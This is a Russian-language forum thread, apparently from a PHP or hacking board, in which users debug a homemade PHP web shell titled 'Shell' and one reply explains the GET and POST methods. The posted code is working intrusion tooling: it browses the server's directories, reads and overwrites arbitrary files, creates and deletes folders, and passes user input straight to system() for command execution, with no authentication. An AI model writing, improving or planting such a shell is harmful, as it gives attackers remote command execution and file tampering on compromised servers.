неоткрываются русские папки PHP: <form method="get"> Введите адрес :<input type="text" name="path"> <input type="submit" value="Enter"></form> <? $do=$_GET['path']; if($do=="./") $do .= "/"; if(!isset($do) or $do=='') $do=getcwd(); if(is_dir($do)) { chdir($do); $od=opendir($do); while($rd=readdir($od)) { print "<br><a href=\"?path=".getcwd()."\\$rd\">$rd</a>"; } closedir($od); } if(is_file($do)) { print '<textarea cols=100 rows=20>'; print htmlspecialchars(file_get_contents($do)); print '</textarea>'; } ?>
пля чёта я прогнал , пробовал урлэнкоде до этого и неработало , а щас заработало , видать нетуда пихал
при сохранении в файл , всё передается через Get почему , если установлен Post ... PHP: <html> <title>Shell</title> <body bgcolor=#000000 text=#ffffff alink=#ffffff vlink=#ffffff link=#ffffff> <table border=3> <tr> <td> <form method="get"> <input type="text" name="us"> <select name="use"> <option value="open">Открыть папку</option> <option value="new">Создать папку</option> <option value="dell">Удалить папку</option> <option value="cmd">Выполнить команду</option> </select> <input type="submit" value="Enter"> </td> </tr> </table> <? //--------------Peremennie------------------------------------------------------------------- $do=$_GET['path']; $text=$_GET['text']; $name=$_GET['name']; $us=$_GET['us']; $use=$_GET['use']; //-------------Edit file----------------------------------------------------------------------- if(isset($text)) { $fo=fopen($name,"w"); $fw=fwrite($fo,stripslashes($text)); fclose($fo); print "Сохранено !!!"; } //-------------Commands--------------------------------------------------------------------- if ($use=="open") {$do=$us; print "Готово !!!<br>";} if ($use=="new") {mkdir("./$us/"); print "Готово !!!<br>";} if ($use=="dell") {rmdir($us); print "Готово !!!<br>";} if ($use=="cmd") {$command=$us; print "Готово !!!<br>";} //-------------Cmd shell----------------------------------------------------------------------- if(isset($command)) { if($us=="cd ..") chdir(".."); print '<textarea cols=100 rows=20>'; echo system($command); print '</textarea><br><a href="javascript:history.go(-1);">Cancel</a>'; } //-------------Chtenie katalogov------------------------------------------------------------ if($do=="./") $do .= "/"; //if(!isset($do) or $do=='') $do=getcwd(); if(is_dir($do)) { chdir($do); $od=opendir($do); while($rd=readdir($od)) { print "<br><a href=\"?path=".urlencode(getcwd())."\\$rd\">$rd</a>"; } closedir($od); } //-------------Chtenie failov----------------------------------------------------------------- if(is_file($do)) { print '<form method="POST"> <input type="hidden" name="name" value="'.$do.'"> <textarea cols=100 rows=20 name="text">'; print htmlspecialchars(file_get_contents($do)); print '</textarea><br> <input type="submit" value="Save"> </form><br><a href="javascript:history.go(-1);">Cancel</a>'; } ?> </body> </html>
Методы GET и POST — это два различных способа передачи данных HTTP-серверу, точнее PHP- или другому CGI-скрипту для последующей обработки. При методе GET производится сокет-соединение с хостом на 80-ом порту и по этому соединению передаётся указанный текст запроса. По протоколу HTTP, в первой строке указывается метод запроса, имя ресурса и версия протокола. Во второй строке указывается DNS-имя хоста, к которому происходит обращение (на одном хосте могут размещаться сотни виртуальных хостов с различными именами). Этот метод получения документов (страниц, картинок и других файлов) является основным для HTTP-серверов и браузеров. В этом случае браузер лишь сообщает серверу, какой документ необходимо загрузить. Метод POST В этом случае данные передаются не в URL, а в теле HTTP-запроса, но формат представления очень похож на GET и в скрипте они обрабатываются посредством глобального массива $_POST[имя-поля]. Обычно POST используется при работе с формами, когда данные отправляются на сервер, а не просто запрашивается URL. В этом принципиальное отличие GET от POST. К примеру, вот простой скрипт сложения двух чисел. Состоит из двух частей: HTML-форма и код вывода суммы. Числа из полей ввода A и B передаются в этот же скрипт методом POST в виде переменных $_POST[a] и $_POST, и если они были переданы, то есть не пустые, то под формой выводится результат. PHP: <form name="sum" action="script.php" method="post"> Введите A <input name="a" type="text" value=""> Введите B <input name="b" type="text" value=""> <input type="submit" value="Сложить"> </form> <?php if ( $_POST[a] && $_POST[b] ) echo "Результат " . ($_POST[a] + $_POST[b]); ?>
конечно спасибо за такой исчерпывающий ответ , но он неуместен так как в коде указан метод Post , а данные почемуто передаются через Get ...